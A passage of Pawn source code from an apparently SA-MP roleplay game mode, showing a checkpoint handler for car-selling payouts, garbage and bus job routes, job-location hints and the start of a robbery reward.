			 new moneypay = RandomShomare(80, 85);
			 format(string, sizeof(string), "You sold a car for $%s, your reload time is 100 seconds.", FormatNumber(moneypay));
			 SendMessage(playerid, COLOR_LIGHTBLUE, string);
			 GivePlayerPool(playerid, moneypay);
			 PlayerInfo[playerid][pCarTime] = 100;
			 SaveKonVal(playerid, "pCarTime", 100);
		  }
		  else if(level >= 201 && level <= 400)
		  {
			 new moneypay = RandomShomare(100, 105);
			 format(string, sizeof(string), "You sold a car for $%s, your reload time is 60 seconds.", FormatNumber(moneypay));
			 SendMessage(playerid, COLOR_LIGHTBLUE, string);
			 GivePlayerPool(playerid, moneypay);
			 PlayerInfo[playerid][pCarTime] = 60;
			 SaveKonVal(playerid, "pCarTime", 60);
		  }
		  else if(level >= 120)
		  {
			 new money = 600;
			 format(string, sizeof(string), "You sold a car for $%s, your reload time is 20 seconds.", FormatNumber(money));
			 SendMessage(playerid, COLOR_LIGHTBLUE, string);
			 GivePlayerPool(playerid, money);
			 PlayerInfo[playerid][pCarTime] = 20;
			 SaveKonVal(playerid, "pCarTime", 20);
		  }
		  GameTextForPlayer(playerid, "~y~Sold the car", 2500, 1);
		  CP[playerid] = 0;
		  DisablePlayerCheckpoint(playerid);
		  OnCheckpoint[playerid] = 0;
			AirBrk[playerid] = 1;
			SetTimerEx("abfree", 3000, false, "i", playerid);
		  SetVehicleToRespawn(GetPlayerVehicleID(playerid));

	   }
	   else
	   {
		  GameTextForPlayer(playerid, "Not in a car", 5000, 1);
	   }
	}
	else if(CP[playerid] == 4002312)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,2505.880859,-1775.203369,13.546875);
	   Trashlevel[playerid] = 1;
	}
	else if(CP[playerid] == 4002313)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,2435.575195,-1770.595092,13.546875);
	   Trashlevel[playerid] = 2;
	}
	else if(CP[playerid] == 4002314)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,2153.687255,-1724.774047,13.538188);
	   Trashlevel[playerid] = 3;
	}
	else if(CP[playerid] == 4002315)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,2114.340332,-1824.442871,13.556438);
	   Trashlevel[playerid] = 4;
	}
	else if(CP[playerid] == 4002316)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,2295.984375,-1712.385864,13.554470);
	   Trashlevel[playerid] = 5;
	}
	else if(CP[playerid] == 4002317)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,2231.493408,-1354.564941,23.986755);
	   Trashlevel[playerid] = 6;
	}
	else if(CP[playerid] == 4002318)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,2052.434570,-1103.771728,24.489671);
	   Trashlevel[playerid] = 7;
	}
	else if(CP[playerid] == 4002319)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,1922.792968,-1090.936889,24.656047);
	   Trashlevel[playerid] = 8;
	}
	else if(CP[playerid] == 4002320)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,1785.745361,-1146.392944,23.914796);
	   Trashlevel[playerid] = 9;
	}
	else if(CP[playerid] == 4002321)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,1828.393066,-1143.889038,23.916961);
	   Trashlevel[playerid] = 10;
	}
	else if(CP[playerid] == 4002322)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,1829.104858,-1084.440673,23.894075);
	   Trashlevel[playerid] = 11;
	}
	else if(CP[playerid] == 4002323)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,1685.226440,-1067.213134,23.906858);
	   Trashlevel[playerid] = 12;
	}
	else if(CP[playerid] == 4002324)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,1660.046020,-1061.290039,23.625539);
	   Trashlevel[playerid] = 13;
	}
	else if(CP[playerid] == 4002325)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,1522.405151,-1018.379455,23.919734);
	   Trashlevel[playerid] = 14;
	}
	else if(CP[playerid] == 4002326)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,1313.581542,-1095.853881,25.634815);
	   Trashlevel[playerid] = 15;
	}
	else if(CP[playerid] == 4002327)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,1322.108520,-1237.576416,13.546875);
	   Trashlevel[playerid] = 16;
	}
	else if(CP[playerid] == 4002328)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,1357.855712,-1487.796386,13.539655);
	   Trashlevel[playerid] = 17;
	}
	else if(CP[playerid] == 4002329)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,1460.671630,-1492.498535,13.546875);
	   Trashlevel[playerid] = 18;
	}
	else if(CP[playerid] == 4002330)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,1094.815673,-1881.170776,13.546875);
	   Trashlevel[playerid] = 19;
	}
	else if(CP[playerid] == 4002331)
	{
	   TogglePlayerControllable(playerid, 0);
	   SCM(playerid,COLOR_MAMAD,"Please wait to pickup trashes.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("garbage", 5000, false, "iifff", playerid,CP[playerid]+1,2109.051269,-2009.960083,13.546875);
	   Trashlevel[playerid] = 20;
	}
	else if(CP[playerid] == 4002332)
	{
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	   DisablePlayerCheckpoint(playerid);
	   SCM(playerid,COLOR_LIGHTBLUE,"Good, You can dump your trashes and earn money, use /dumptrash.");
	   Trashlevel[playerid] = 0;
	}
	// PrisonBreak !!!! by Sina ;)
	else if(CP[playerid] == 1148585)
	{
	   OnCheckpoint[playerid] = 0;
	   SCM(playerid,COLOR_SINA2,"PrisonBreak Hacker:{FF0000} You escaped from prison. Wait till I hack police station.");
	   DisablePlayerCheckpoint(playerid);
	   SetTimerEx("ClearWantedPlayer", 10000, 0, "i", playerid);
	}
	// ----------
	else if(CP[playerid] == 54654)
	{
	   OnCheckpoint[playerid] = 1;
	   SCM(playerid,COLOR_LIGHTBLUE,"use /enter to enter City hall for /getjob.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 90000;
	   SetPlayerCheckpoint(playerid,366.540283,188.152526,1008.382812, 3.0);
	}
	else if(CP[playerid] == 90000)
	{
	   OnCheckpoint[playerid] = 1;
	   SCM(playerid,COLOR_WHITE,"Push!!");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 90001;
	   SetPlayerCheckpoint(playerid,359.5408,206.7693,1008.3828, 3.0);
	}
	else if(CP[playerid] == 90001)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is Detective job, You can become a Detective, Use /getjob to join.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 54655)
	{
	   OnCheckpoint[playerid] = 1;
	   SCM(playerid,COLOR_LIGHTBLUE,"use /enter to enter City hall and /getjob.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 90002;
	   SetPlayerCheckpoint(playerid,362.0605,173.7425,1008.3828, 3.0);
	}
	else if(CP[playerid] == 90002)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is Lawyer job, You can become a lawyer, Use /getjob to join.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 54656)
	{
	   OnCheckpoint[playerid] = 1;
	   SCM(playerid,COLOR_LIGHTBLUE,"use /enter to enter Crack house and /getjob.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 90003;
	   SetPlayerCheckpoint(playerid,323.507873,1117.880981,1083.882812, 3.0);
	}
	else if(CP[playerid] == 79655)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is Garbage man job, You can become a garbage man, Use /getjob to join.");
	   CP[playerid] = 0;
	   DisablePlayerCheckpoint(playerid);
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 90003)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is Drugs dealer job, You can become a drugs dealer, Use /getjob to join.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 54657)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is Car jacker job, You can become a car jacker, Use /getjob to join.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 54658)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is Car mechanic, You can become a car mechanic job, Use /getjob to join.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 54659)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is LS Bus driver, You can become a Bus driver, Use /getjob to join.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 54660)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is LV Bus driver job, You can become a Bus driver, Use /getjob to join.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 54670)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is Trucker job, You can become a trucker, Use /getjob to join.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 54680)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is farmer job, You can Become a farmer, Use /getjob to join.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 54689)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is farmer job, You can Become a farmer, Use /getjob to join.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 78642)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is Arms Dealer job, You can Become an Arms Dealer, Use /getjob to join.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 9002)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is Pizza Boy job, You can Become a Pizza Boy, Use /getjob to join.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 90033)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is Sweeper job, You can Become a Sweeper, Use /getjob to join.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 90034)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is Liquor Dealer job, You can Become a Liquor Dealer, Use /getjob to join.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 90035)
	{
	   SCM(playerid,COLOR_LIGHTBLUE,"Here is Oil Dealer job, You can Become an Oil Dealer, Use /getjob to join.");
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 9922555)
	{
	   DisablePlayerCheckpoint(playerid);
	   CP[playerid] = 0;
	   OnCheckpoint[playerid] = 0;
	}
	else if(CP[playerid] == 1200)
	{
	   if(ManTooBusam[playerid] == 0) { CP[playerid] = 0; DisablePlayerCheckpoint(playerid); return SCM(playerid,COLOR_LIGHTRED,"You are not in any bus."); }
	   DisablePlayerCheckpoint(playerid);
	   TogglePlayerControllable(playerid, 0);
	   SetTimerEx("busstop1", 5000, false, "i", playerid);
	   SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	   BusLevel[playerid] = 1;
	}
	else if(CP[playerid] == 1201)
	{
	   if(ManTooBusam[playerid] == 0) { CP[playerid] = 0; DisablePlayerCheckpoint(playerid); return SCM(playerid,COLOR_LIGHTRED,"You are not in any bus."); }
	   DisablePlayerCheckpoint(playerid);
	   TogglePlayerControllable(playerid, 0);
	   SetTimerEx("busstop2", 5000, false, "i", playerid);
	   SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	   BusLevel[playerid] = 2;
	}
	else if(CP[playerid] == 1202)
	{
	   if(ManTooBusam[playerid] == 0) { CP[playerid] = 0; DisablePlayerCheckpoint(playerid); return SCM(playerid,COLOR_LIGHTRED,"You are not in any bus."); }
	   DisablePlayerCheckpoint(playerid);
	   TogglePlayerControllable(playerid, 0);
	   SetTimerEx("busstop3", 5000, false, "i", playerid);
	   SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	   BusLevel[playerid] = 3;
	}
	else if(CP[playerid] == 1203)
	{
	   if(ManTooBusam[playerid] == 0) { CP[playerid] = 0; DisablePlayerCheckpoint(playerid); return SCM(playerid,COLOR_LIGHTRED,"You are not in any bus."); }
	   DisablePlayerCheckpoint(playerid);
	   TogglePlayerControllable(playerid, 0);
	   SetTimerEx("busstop4", 5000, false, "i", playerid);
	   SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	   BusLevel[playerid] = 4;
	}
	else if(CP[playerid] == 1204)
	{
	   if(ManTooBusam[playerid] == 0) { CP[playerid] = 0; DisablePlayerCheckpoint(playerid); return SCM(playerid,COLOR_LIGHTRED,"You are not in any bus."); }
	   DisablePlayerCheckpoint(playerid);
	   TogglePlayerControllable(playerid, 0);
	   SetTimerEx("busstop5", 5000, false, "i", playerid);
	   SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	   BusLevel[playerid] = 5;
	}
	else if(CP[playerid] == 1205)
	{
	   if(ManTooBusam[playerid] == 0) { CP[playerid] = 0; DisablePlayerCheckpoint(playerid); return SCM(playerid,COLOR_LIGHTRED,"You are not in any bus."); }
	   DisablePlayerCheckpoint(playerid);
	   TogglePlayerControllable(playerid, 0);
	   SetTimerEx("busstop6", 5000, false, "i", playerid);
	   SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	   BusLevel[playerid] = 6;
	}
	else if(CP[playerid] == 1206)
	{
	   if(ManTooBusam[playerid] == 0) { CP[playerid] = 0; DisablePlayerCheckpoint(playerid); return SCM(playerid,COLOR_LIGHTRED,"You are not in any bus."); }
	   DisablePlayerCheckpoint(playerid);
	   TogglePlayerControllable(playerid, 0);
	   SetTimerEx("busstop7", 5000, false, "i", playerid);
	   SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	   BusLevel[playerid] = 7;
	}
	else if(CP[playerid] == 1207)
	{
	   if(ManTooBusam[playerid] == 0) { CP[playerid] = 0; DisablePlayerCheckpoint(playerid); return SCM(playerid,COLOR_LIGHTRED,"You are not in any bus."); }
	   DisablePlayerCheckpoint(playerid);
	   TogglePlayerControllable(playerid, 0);
	   SetTimerEx("busstop8", 5000, false, "i", playerid);
	   SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	   BusLevel[playerid] = 8;
	}
	else if(CP[playerid] == 1208)
	{
	   if(ManTooBusam[playerid] == 0) { CP[playerid] = 0; DisablePlayerCheckpoint(playerid); return SCM(playerid,COLOR_LIGHTRED,"You are not in any bus."); }
	   DisablePlayerCheckpoint(playerid);
	   TogglePlayerControllable(playerid, 0);
	   SetTimerEx("busstop9", 5000, false, "i", playerid);
	   SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	   BusLevel[playerid] = 9;
	}
	else if(CP[playerid] == 1209)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop10", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevel[playerid] = 10;
	}
	else if(CP[playerid] == 1210)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop11", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevel[playerid] = 11;
	}
	else if(CP[playerid] == 1211)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop12", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevel[playerid] = 12;
	}
	else if(CP[playerid] == 1212)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop13", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevel[playerid] = 13;
	}
	else if(CP[playerid] == 1213)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop14", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevel[playerid] = 14;
	}
	else if(CP[playerid] == 1214)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop15", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevel[playerid] = 15;
	}
	else if(CP[playerid] == 1215)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop16", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevel[playerid] = 16;
	}
	else if(CP[playerid] == 1216)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	OnCheckpoint[playerid] = 1;
	SetPlayerCheckpoint(playerid, 1818.860473,-2093.046386,13.382812, 3.0);
	CP[playerid] = 1200;
	Benzin[GetPlayerVehicleID(playerid)] = 100;
	DarsadBenzin[GetPlayerVehicleID(playerid)] = 0;
	SCM(playerid,COLOR_LIGHTBLUE,"Good job, you go to the all bus stops and back i give you $150 money");
	SCM(playerid,COLOR_LIGHTBLUE,"you can go to the checkpoint again and earn money.");
	GivePlayerPool(playerid, 150);
	BusLevel[playerid] = 0;
	}
	else if(CP[playerid] == 1217)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop17", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevelLV[playerid] = 1;
	}
	else if(CP[playerid] == 1218)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop18", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevelLV[playerid] = 2;
	}
	else if(CP[playerid] == 1219)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop19", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevelLV[playerid] = 3;
	}
	else if(CP[playerid] == 1220)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop20", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevelLV[playerid] = 4;
	}
	else if(CP[playerid] == 1221)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop21", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevelLV[playerid] = 5;
	}
	else if(CP[playerid] == 1222)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop22", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevelLV[playerid] = 6;
	}
	else if(CP[playerid] == 1223)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTBLUE,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop23", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevelLV[playerid] = 7;
	}
	else if(CP[playerid] == 1224)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop24", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevelLV[playerid] = 8;
	}
	else if(CP[playerid] == 1225)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop25", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevelLV[playerid] = 9;
	}
	else if(CP[playerid] == 1226)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop26", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevelLV[playerid] = 10;
	}
	else if(CP[playerid] == 1227)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop27", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevelLV[playerid] = 11;
	}
	else if(CP[playerid] == 1228)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop28", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevelLV[playerid] = 12;
	}
	else if(CP[playerid] == 1229)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	TogglePlayerControllable(playerid, 0);
	SetTimerEx("busstop29", 5000, false, "i", playerid);
	SCM(playerid,COLOR_LIGHTBLUE,"Wait here for 5 seconds");
	BusLevelLV[playerid] = 13;
	}
	else if(CP[playerid] == 1230)
	{
if(ManTooBusam[playerid] == 0)
{
SCM(playerid,COLOR_LIGHTRED,"You are not in any bus.");
return 1;
}
	DisablePlayerCheckpoint(playerid);
	OnCheckpoint[playerid] = 1;
	SetPlayerCheckpoint(playerid, 1923.362792,2315.286132,10.671875, 3.0);
	CP[playerid] = 1217;
	Benzin[GetPlayerVehicleID(playerid)] = 100;
	DarsadBenzin[GetPlayerVehicleID(playerid)] = 0;
	SCM(playerid,COLOR_LIGHTBLUE,"Good job, you go to the all bus stops and back i give you $150 money");
	SCM(playerid,COLOR_LIGHTBLUE,"you can go to the checkpoint again and earn money.");
	BusLevelLV[playerid] = 0;
	GivePlayerPool(playerid, 150);
	}
 else if(CP[playerid]==80)//DMV CK
	{
	   DisablePlayerCheckpoint(playerid);
	   OnCheckpoint[playerid] = 0;
	}
else if(CP[playerid] >= 2002001 && CP[playerid] <= 2002009)
{
		if(RobBug[playerid] == 1) { return KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking."); }
	   new level = PlayerInfo[playerid][pRobSkill];
	   new pool; new sttrr[128];
	   if(level >= 0 && level <= 19) { pool = RandomShomare(5000,5800); }
	   else if(level >= 20 && level <= 49) { pool = RandomShomare(6000,7300); }
	   else if(level >= 50 && level <= 74) { pool = RandomShomare(8000,10000); }
	   else if(level >= 75 && level <= 99) { pool = RandomShomare(10500,13000); }
	   else if(level >= 100) { pool = RandomShomare(15000,16000); }
	   for(new i = 0;i<Akharish;i++)
	   {
		  if(IsPlayerConnected(i))
		  {
			 if(RobDriver[i] == playerid)
			 {
